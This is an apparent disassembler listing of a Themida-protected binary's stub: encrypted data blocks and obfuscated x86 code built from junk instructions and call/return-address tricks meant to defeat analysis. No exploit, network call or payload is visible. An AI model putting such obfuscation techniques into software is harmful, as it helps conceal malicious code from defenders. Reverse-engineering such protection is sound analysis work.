dd 1C04h, 0C3554500h, 4464540Ah, 1A92D0C0h, 0FB8B6062h
dd 7E9h, 96B8C500h, 1726C598h, 85B58B61h, 0B0061403h, 0E5BD8B00h
dd 0E6061404h, 81BD8B70h, 0E406142Ch, 2DBD8971h, 3C06140Bh
dd 25830F61h, 0F000002h, 0B60FFFB7h, 89B589D8h, 8B06142Fh
dd 14106DB5h, 6BA06h, 85890000h, 61409B9h, 6AC38Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 9D01FDC3h, 6141129h, 6604E8C1h, 0F766F08Bh, 53006AE2h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 401AE8A7h, 4530B784h, 6585899Ch, 2B061404h, 51006AD8h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 60E99C91h, 0A99D89E8h, 58061414h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 67C35343h, 2F85F280h, 431BD29h
dd 0D82B0614h, 15A880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0F604EC3h, 384h, 97DD8000h
dd 0B9615850h, 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0DFC35343h, 0FAAAD4Fh, 480h, 56BE6600h, 0C18353h
dd 1C458589h, 81660614h, 3B180DD6h, 0ED860FD9h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 463BC350h, 0F7D17448h, 8C660C5Ch, 56006AD9h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 14D7810Fh, 0BE24581Bh, 3CA845FCh, 0F04C1F6h, 8C84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 96BF0EF2h, 0CA02D8A5h, 0CE9h, 0A9A81400h
dd 1EA16E23h, 0F891F696h, 0FFFB8B9Dh, 142E4595h, 0B52B5B06h
dd 6140611h, 2A858589h, 0C32B0614h, 343DF18Bh, 0F000008h
dd 3486h, 0DE900h, 62E50000h, 0BC4F88EFh, 0B7924703h, 0E97AB77Eh
dd 28h, 0DE8h, 795E3500h, 3AE6EBBFh, 0F3355722h, 8B0FEDABh
dd 0
; ---------------------------------------------------------------------------
pop edi
push ebx
mov esi, edi
pop esi
mov eax, eax
movsx esi, bx
mov [ebp+614230Dh], esi
loc_585CD0: ; CODE XREF: Themida_:005858C0j
mov eax, ebx
mov ebx, eax
mov [ebp+614321Dh], eax
mov dword ptr [ebp+6140231h], 191D6D37h
mov eax, eax
jnp loc_585CF3
pusha
pusha
popa
add bl, 7Bh
popa
loc_585CF3: ; CODE XREF: Themida_:00585CE6j
cmp dword ptr [ebp+6141AA5h], 7D0h
jnz loc_585D12
mov di, 89E9h
inc dword ptr [ebp+6141AA5h]
loc_585D0D: ; CODE XREF: Themida_:loc_585D29j
mov esi, 1E7770DFh
loc_585D12: ; CODE XREF: Themida_:00585CFDj
push dword ptr [ebp+6141AA5h]
call sub_585D2D
in eax, 93h
jbe short near ptr loc_585D45+2
inc edx
jg short loc_585D29
stc
; ---------------------------------------------------------------------------
db 0C5h, 0CDh, 44h
; ---------------------------------------------------------------------------
dec ebx
loc_585D29: ; CODE XREF: Themida_:00585D22j
jmp short loc_585D0D
; ---------------------------------------------------------------------------
aam 2Eh
; =============== S U B R O U T I N E =======================================
sub_585D2D proc near ; CODE XREF: Themida_:00585D18p
; FUNCTION CHUNK AT 00585E1D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00586494 SIZE 00000007 BYTES
push edx
mov [ebp+6140475h], ecx
pop edi
pop esi
call dword ptr [ebp+6141169h]
js loc_585D45
mov di, ax
loc_585D45: ; CODE XREF: sub_585D2D+Fj
; Themida_:00585D1Fj
add esi, [ebp+6141CCDh]
nop
inc eax
mov esi, [ebp+6140C09h]
cmp dword ptr [ebp+6141CD1h], 0
jz loc_585E1D
mov edi, 6EE0BB6Dh
cmp dword ptr [ebp+61403D9h], 0
jz loc_585E1D
push 0
push ecx
call sub_585D7D
and [ecx-3Dh], bl
sub_585D2D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_585D7D proc near ; CODE XREF: sub_585D2D+48p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_585D7D endp
; ---------------------------------------------------------------------------
fild dword ptr [esi+esi*4]
clc
dec eax
mov byte ptr [esi], 0D8h
cmc
mov edi, [ebp+614090Dh]
call dword ptr [ebp+6141CD1h]
push 0
push ebx
call sub_585DAD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585DAD proc near ; CODE XREF: Themida_:00585DA5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_585DAD endp
; ---------------------------------------------------------------------------
db 67h, 6Dh, 0F9h
; ---------------------------------------------------------------------------
or eax, eax
jz loc_585E1D
jnb loc_585DD4
xor [ebp+6141021h], edx
loc_585DD4: ; CODE XREF: Themida_:00585DC8j
lea ecx, [ebp+6144D79h]
push 0
push ecx
call sub_585DE5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585DE5 proc near ; CODE XREF: Themida_:00585DDDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_585DE5 endp
; ---------------------------------------------------------------------------
mov byte ptr [ebx], 0B4h
and al, [ecx-13h]
aam 3
add [ebp+6141B31h], ebx
mov eax, 5
jmp ecx
; ---------------------------------------------------------------------------
jmp loc_585E1D
; ---------------------------------------------------------------------------
db 4Dh
dd 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh
db 2Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585D2D
loc_585E1D: ; CODE XREF: sub_585D2D+2Dj
; sub_585D2D+3Fj ...
cmp dword ptr [ebp+6140E4Dh], 0
jz loc_586494
push 0
push eax
call sub_585E35
and [eax-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_585D2D
; =============== S U B R O U T I N E =======================================
sub_585E35 proc near ; CODE XREF: sub_585D2D+100p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_585E35 endp
; ---------------------------------------------------------------------------
db 13h, 0Fh, 84h
dd 6, 1D71BD8Bh, 0BE660614h, 0BD834CE1h, 61403D9h, 31840F00h
dd 6A000006h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0C5FCC351h, 218D8DD2h, 6A061411h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 3F3EC357h, 4720BF88h, 66609F69h, 23CBEF81h
dd 6145F080h, 7C8401C7h, 6A44B2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 71501EC3h, 85FC603Dh
dd 8B53CAC9h, 0CB0181FEh, 6A1499CFh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DF0EC353h
dd 7587AD1Ah, 0F5BD890Ch, 0C706140Ch, 6B340441h, 6ACE70h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0EE44DAC3h, 10044181h, 8931D6D7h, 141BE185h, 6A006A06h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0A530C356h, 9FB70972h, 0BF6635D4h, 858DECE0h
dd 6141121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 59C35747h, 5502A500h, 539060EDh, 6A90505Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 576CC355h, 0E82DB54Fh, 7, 423107F7h, 53863550h, 21B18589h
dd 5F5F0614h, 0BDA5EF81h, 95FF1E8Dh, 6140E4Dh, 11218D8Dh
dd 8B660614h, 75B58BF1h, 0C7061409h, 1, 35BD0B00h, 0C7061434h
dd 441h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 23B902C3h, 0AE8FEh, 0F28B0000h
dd 99EF79AEh, 449EC102h, 2810Fh, 61600000h, 0FC00B5Eh
dd 8084h, 0D9B50900h, 8D061410h, 144D798Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 2F7CC35Dh, 0BD8B303Ch, 61421C5h, 5B8h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0BA1AFAE8h, 0E837D3DCh, 0BF0F8CCAh, 6AE1FFFEh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 8464C356h, 218D8D5Bh, 6A061411h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DC79C356h
dd 896A0058h, 0AC3E32A9h, 5EEEC681h, 1C71CB5h, 44AA727Ch
dd 0E8F3BF0Fh, 0Fh, 0D9B8CE4Fh, 673A6DEEh, 2B2601F4h, 0FE1AF40h
dd 58Ch, 0CF816600h, 815EB8B3h, 99CFCB01h, 0A9958914h
dd 0C7061406h, 753C0441h, 0DE8CE78h, 0E0000000h, 7DFE5F70h
dd 7CFA9270h, 0E7769234h, 441815Fh, 31D6D710h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h, 0C6F35A0Ch
dd 9EC61E7h, 142B4D9Dh, 66006A06h, 35D7F681h, 0B018589h
dd 858D0614h, 6141121h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0F1C35545h, 0EB38C293h, 0F8BF0F60h, 0DC5E35BEh
dd 23BE6153h, 900EEABCh, 6650F38Bh, 906BA6BEh, 13CD8D29h
dd 66600614h, 51C83DB8h, 19FD8D8Bh, 615F0614h, 0E4D95FFh
dd 8D8D0614h, 6141121h, 9E8h, 0EC987700h, 28E3C667h, 0B52BA71Ch
dd 6142F75h, 830F605Eh, 6, 2E799D8Bh, 13E80614h, 0CF000000h
dd 0F9D04D30h, 4813CDDAh, 69D12E9Bh, 253EDDB1h, 9D8BDE8Eh
dd 61413E1h, 1C7615Eh, 0
; ---------------------------------------------------------------------------
or di, 974Fh
mov esi, 3AD6556Ch
mov dword ptr [ecx+4], 0
or eax, eax
jz loc_586292
mov edi, [ebp+614038Dh]
lea ecx, [ebp+6144D79h]
add [ebp+6140B09h], edi
mov eax, 5
push 0
push ebx
call sub_586257
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586257 proc near ; CODE XREF: Themida_:0058624Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_586257 endp
; ---------------------------------------------------------------------------
sbb al, 0ACh
mov esi, [ebp+6140849h]
jmp ecx
; ---------------------------------------------------------------------------
push 0
push edi
call sub_58627C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58627C proc near ; CODE XREF: Themida_:00586274p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58627C endp
; ---------------------------------------------------------------------------
mov word ptr [ecx-2B4F409Ah], fs
loc_586292: ; CODE XREF: Themida_:0058622Fj
lea ecx, [ebp+6141121h]
movzx esi, si
mov dword ptr [ecx], 54CA95A5h
push 0
push ecx
call sub_5862AC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5862AC proc near ; CODE XREF: Themida_:005862A4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5862AC endp
; ---------------------------------------------------------------------------
push 10h
and si, 0DF9Fh
add dword ptr [ecx], 1499CFCBh
push 0
push edx
call sub_5862D4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5862D4 proc near ; CODE XREF: Themida_:005862CCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5862D4 endp
; ---------------------------------------------------------------------------
popa
mov dword ptr [ecx+4], 0CE5F5969h
push 0
push ecx
call sub_5862F7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5862F7 proc near ; CODE XREF: Themida_:005862EFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5862F7 endp
; ---------------------------------------------------------------------------
db 0D6h
dd 5C2231E7h, 81FAE249h, 0D7100441h, 8B6031D6h, 14053585h
dd 0D1BD8906h, 61061403h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 786D54C3h, 0B5A3D097h
dd 858DF819h, 6141121h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0A5C35545h, 3850F01h, 66000000h, 5090F08Bh
dd 0CE8h, 9A7F9100h, 0FEAA87FCh, 0F7C78002h, 0F18B6602h
dd 6A905Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0CB43B9C3h, 896FC0C9h, 6820Fh, 0BD8B0000h
dd 6141BE9h, 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 9DE983C3h, 0E994420Dh
dd 10h, 835E7F35h, 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 11218D8Dh
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0BE51C3h, 1C750h, 0B000000h, 1434E1BDh, 0E9FC6006h
dd 9, 0D56E0F52h, 7480D972h, 41C761E9h, 4, 0CDB58900h
dd 0B06141Fh, 45840FC0h, 66000000h, 0BBC4E681h, 4D798D8Dh
dd 0D6810614h, 3B234F4Eh, 0D3C78166h, 5B85Dh, 0B70F0000h
dd 6AE1FFFAh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0FB81C350h, 95895B2Ah, 6141161h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585D2D
loc_586494: ; CODE XREF: sub_585D2D+F7j
add ecx, edx
jmp near ptr dword_58536C+33Ch
; END OF FUNCTION CHUNK FOR sub_585D2D
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5864A6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5864A6 proc near ; CODE XREF: Themida_:0058649Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5864A6 endp
; ---------------------------------------------------------------------------
dw 0D36Eh
; ---------------------------------------------------------------------------
mov [ebp+6140291h], edx
mov eax, ecx
mov si, 3C8Dh
jmp short loc_5864CA
; ---------------------------------------------------------------------------
align 4
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5864CA: ; CODE XREF: Themida_:005864C4j
jmp loc_5864D7
; ---------------------------------------------------------------------------
db 8Ah
dd 346D98EEh
db 0CDh, 3Dh, 24h
; ---------------------------------------------------------------------------
loc_5864D7: ; CODE XREF: Themida_:loc_5864CAj
push 0
push ebx
call sub_5864E2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5864E2 proc near ; CODE XREF: Themida_:005864DAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5864E2 endp
; ---------------------------------------------------------------------------
dw 0B3h
dd 0BD07737Fh, 8D0FC778h, 11h, 0CE9h, 0B6135300h, 0C001864Dh
dd 392105F7h, 99858D97h, 6A06140Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 57E0C351h
dd 5C5B1563h, 2BD19589h, 0B58B0614h, 6141131h, 8E20BF66h
dd 8E990h, 0AB340000h, 11A0B9Ch, 9050510Ch, 6AF78B66h
dd 0D19D8900h, 6A061416h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 24311123h
dd 8DD3876Bh, 17DA9A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0F2A002DEh, 89A344E5h
dd 5C08390h, 4DBE6690h, 5E950A2h, 0BE000000h, 0FA68F091h
dd 0B1B58990h, 6A061414h, 6A006A00h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 202CC356h
dd 23C01AAh, 0F59D6146h, 8E8h, 77A7BB00h, 58196715h, 4BEF8197h
dd 5E0AB3F2h, 1A7195FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 660C85C3h, 8D2540BEh
dd 17A8FC9Dh, 0B59D8906h, 0FF06141Fh, 53006AD3h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 58E6E93Ah, 236D85FFh, 12E90614h, 0A2000000h, 756E6F8Fh
dd 7426501Dh, 0FCED3927h, 38CD7180h, 85EE99Ch, 0E80000h
dd 5D000000h, 0DAA4ED81h, 6A0617h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 4E1C01C3h, 0FF59CD98h
dd 1A95B58Bh, 0BD810614h, 6141AA5h, 7D0h, 11E860Fh, 8B660000h
dd 25BD89F0h, 8B06140Eh, 1405319Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 4787CF3Bh
dd 0DA006866h, 0E3813Eh, 8B000001h, 143431BDh, 0B98D0106h
dd 0B06142Fh, 0AC850FDBh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CE52C352h
dd 0A59968E5h, 625DE451h, 344DB58Bh, 0BD830614h, 617D8E7h
dd 17840F00h, 89000000h, 1423D19Dh, 76E906h, 8A0F0000h
dd 6, 23019529h, 85C70614h, 617D8E7h, 1, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 240A965Ah
dd 251DB58Bh, 8B660614h, 32E9F2h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 23B902C3h
dd 97E681FEh, 0C759C0C6h, 17D8E785h, 6, 0F98B6600h, 5319D8Dh
dd 880F0614h, 0
; ---------------------------------------------------------------------------
and dword ptr [ebx], 0FFFFFEFFh
and esi, [ebp+61418C1h]
mov bx, ds
push 0
push eax
call sub_5867EE
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5867EE proc near ; CODE XREF: Themida_:005867E6p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5867EE endp
; ---------------------------------------------------------------------------
dw 3F63h
dd 8B668907h, 4C3F6F3h, 3B840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0FFD0A3C3h
dd 8BB5A850h, 140689BDh, 4595FF06h, 6606142Eh, 0FEDEEF81h
dd 0B905090h, 142465B5h, 49FE906h, 0B58B0000h, 6141C69h
dd 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 806051C3h, 0A50460F5h, 21E781DEh, 8B40FD18h
dd 6A70E6F0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0CA82C351h, 0D1E6E05Eh, 399589D1h
dd 0E4061425h, 19858971h, 0F06140Ah, 0DE9D8B6h, 4D000000h
dd 0B590EA08h, 52F46208h, 9D6D63AFh, 6BAh, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8BFC4344h, 141671B5h, 6AC38B06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 22E6C355h
dd 74FD94Bh, 9B7AB819h, 0CE9h, 0D7179C00h, 0C9AE829Eh
dd 9B5CB4ADh, 4E8C1C2h, 66F9B70Fh, 860FE2F7h, 5, 0C8AE90BFh
dd 6AD82B75h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0E1EFC357h, 14918589h, 0B58B0614h
dd 6142C5Dh, 241C8950h, 0FEDF47BFh, 9DB58B49h, 0FF061420h
dd 141AA5B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0DE6FBFDDh, 91952901h, 0E9061411h
dd 12h, 1E559D01h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 95FFE195h
dd 6141169h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 39C35242h, 0D9374A93h, 2919D413h, 142211B5h, 900B006h
dd 1423058Dh, 8B70E606h, 8B71E4F8h, 141149B5h, 0F613C06h
dd 2E883h, 10E800h
db 0
byte_586A09 db 0, 52h, 9Ch ; DATA XREF: Themida_:0054AFCCo
dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 0BD8BD5D7h, 6140EF9h
dd 6E85Eh, 0BA550000h, 0F3213FEDh, 0D8B60F5Eh, 13E9h, 2E251E00h
dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 6BAh
dd 0BE800h, 53E80000h, 37195C12h, 705119DEh, 0CE816666h
dd 8B5F884Bh, 998FBFC3h, 0E8C128F5h, 0A1B58B04h, 6606141Dh
dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 962ADCC3h, 0F11AE1Ah, 687h, 8D8D8900h, 2B06140Dh
dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 522CC7CFh, 8531F3D7h, 61418F9h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 9410ACECh, 0EE9h, 35354900h, 0E326C949h, 9AA01AC8h
dd 0BE0231C7h, 74D6859Eh, 880FD82Bh, 1E1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 35C35343h, 2D929501h
dd 0BEBD299Dh, 77748762h, 7B9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 89B58B73h
dd 83061422h, 0BD0300C1h, 6142E81h, 860FD93Bh, 181h, 8BD98C66h
dd 1402DDBDh, 0ADB58B06h, 0F6061419h, 840F04C1h, 129h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h
dd 7202708Dh, 0C68166D0h, 0BD89B271h, 6142351h, 2E4595FFh
dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 60447AC3h, 6810Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
and edi, [ebp+614093Dh]
popa
pop ebx
push 0
push ebp
call sub_586BF3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586BF3 proc near ; CODE XREF: Themida_:00586BEBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_586BF3 endp
; ---------------------------------------------------------------------------
xchg eax, ebp
and bl, [eax]
jg short loc_586C31
popf
jno short loc_586C11
adc al, 6
sub eax, ebx
push 0
loc_586C11: ; CODE XREF: Themida_:00586C09j
push esi
call sub_586C1A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586C1A proc near ; CODE XREF: Themida_:00586C12p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_586C1A endp
; ---------------------------------------------------------------------------
dw 4BD5h
dd 0A2421BFAh
db 0DEh
; ---------------------------------------------------------------------------
loc_586C31: ; CODE XREF: Themida_:00586C06j
sahf
dec ebx
push ebp
or [ebp+61414EDh], ebx
or si, 4A32h
cmp eax, 834h
jbe loc_586CAD
push 0
push eax
call sub_586C55
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586C55 proc near ; CODE XREF: Themida_:00586C4Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_586C55 endp
; ---------------------------------------------------------------------------
add [edi+59h], ebx
mov ecx, 204D80C8h
lds edi, [esi-77h]
mov ebp, 61418C5h
jmp loc_586CED
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_586C85
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586C85 proc near ; CODE XREF: Themida_:00586C7Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_586C85 endp
; ---------------------------------------------------------------------------
db 0Fh, 91h, 0B7h
dd 0F158DB7h, 0C84h, 7E900h, 3B510000h, 0BC50F30Ch
db 0B2h
; ---------------------------------------------------------------------------
loc_586CAD: ; CODE XREF: Themida_:00586C44j
mov eax, eax
push 0
push edx
call sub_586CBA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586CBA proc near ; CODE XREF: Themida_:00586CB2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_586CBA endp
; ---------------------------------------------------------------------------
dw 0CC81h
dd 9D41320Ah, 0E9127515h, 0Ah, 0EB63AD3Eh, 0A36B7DAh, 860FC8C4h
dd 5, 0BCD68166h
db 15h
; ---------------------------------------------------------------------------
loc_586CED: ; CODE XREF: Themida_:00586C75j
mov eax, ebx
mov ebx, eax
add esi, [ebp+6140C35h]
mov dword ptr [ebp+6141B75h], 3A7EE5BBh
jmp loc_586D0F
; ---------------------------------------------------------------------------
dw 0CA86h
dd 0CF8E44FAh
db 90h
db 0E0h, 98h
; ---------------------------------------------------------------------------
loc_586D0F: ; CODE XREF: Themida_:00586D01j
mov eax, eax
push 0
push esi
call sub_586D1C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586D1C proc near ; CODE XREF: Themida_:00586D14p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_586D1C endp
; ---------------------------------------------------------------------------
and al, cl
mov esi, 8579FF0h
jmp loc_586D4C
; ---------------------------------------------------------------------------
dd 86FD9ABh, 6F4ADB3Ch, 9F3EF773h, 0FF2529D5h, 0F755AC9Fh
; ---------------------------------------------------------------------------
loc_586D4C: ; CODE XREF: Themida_:00586D33j
cmp dword ptr [ebp+6141AA5h], 7D0h
jnz loc_586D6A
movzx esi, si
inc dword ptr [ebp+6141AA5h]
mov edi, 55A76E32h
loc_586D6A: ; CODE XREF: Themida_:00586D56j
push dword ptr [ebp+6141AA5h]
call dword ptr [ebp+6141169h]
push 0
push edx
call sub_586D81
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586D81 proc near ; CODE XREF: Themida_:00586D79p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_586D81 endp
; ---------------------------------------------------------------------------
db 0F6h, 84h, 9Dh
dd 6D96B73Ah, 667FE8B2h, 90F696BFh, 14E8h, 0BC494E00h
dd 0CA84F5h, 521DAFECh, 5A99179Eh, 12AF5BBEh, 8ABF6620h
dd 5E81Eh, 996A0000h, 29CB5E37h, 141CFDBDh, 8B5E5E06h
dd 52006AFEh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 1DBD33AFh, 8B061420h, 143501BDh, 5D952906h
dd 0F061422h, 3581h, 0FE800h, 40880000h, 0E7641522h, 8F4A7B3Fh
dd 93CF8787h, 6E980h, 9C0E0000h, 17E9ADDCh, 10E9h, 89B81E00h
dd 9228A9EFh, 0EC3681C2h, 8A147985h, 0E6815E19h, 0D811100h
dd 47C08160h, 5366695Ah, 820Fh, 61600000h, 0F18B615Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C1C35747h
dd 0DF3750B4h, 3029C6CDh, 0BD33F78Bh, 6140D4Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 73C35545h, 0E9CA4233h
dd 0Ah, 0BE9DA013h, 0F5790434h, 0EE8029Fh, 3B000000h, 733714A4h
dd 6051E9DFh, 460F580h, 8D8951A5h, 614217Dh, 9D89565Eh
dd 6143455h, 0A7E95E5Eh, 0BFFFFFF7h, 75B450F6h, 6AC18Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0DEEB37C3h, 4EBh, 8E0F0000h, 6, 830Fh, 95890000h, 6142D65h
dd 0A0A9BE52h, 8D5E0960h, 140F9985h, 52F28B06h, 0B1A0BE66h
dd 0E960905Eh, 14h, 4A7DA828h, 0F7F3C1F1h, 3244EEBEh, 8B181ECBh
dd 30907F67h, 28C0Fh, 61600000h, 33905061h, 141A5DBDh
